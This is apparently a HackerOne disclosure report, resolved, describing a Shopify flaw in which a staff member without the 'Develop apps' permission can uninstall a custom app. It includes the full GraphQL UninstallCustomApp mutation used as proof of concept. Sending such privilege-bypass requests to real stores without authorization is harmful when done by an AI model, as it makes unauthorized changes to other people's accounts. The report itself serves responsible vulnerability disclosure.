User with no Develop apps permission can Uninstall Custom App

Disclosed: 2022-04-21 20:33:37 By ayyoub To shopify
Low
Vulnerability Details
Hi, You know user must have Develop apps permission to Uninstall Develop apps to test this just create staff with `Manage and install apps and channels` {F1601504} send this mutation just change appId by your id ``` {"operationName":"UninstallCustomApp","variables":{"appId":"gid://shopify/App/6431893"},"query":"mutation UninstallCustomApp($appId: ID!) {\n appUninstall(input: {id: $appId}) {\n app {\n id\n __typename\n }\n userErrors {\n field\n message\n __typename\n }\n __typename\n }\n}\n"} ``` ## Impact User with no Develop apps permission can Uninstall Custom App
Actions
View on HackerOne
Report Stats
  • Report ID: 1466855
  • State: Closed
  • Substate: resolved
  • Upvotes: 13
Share this report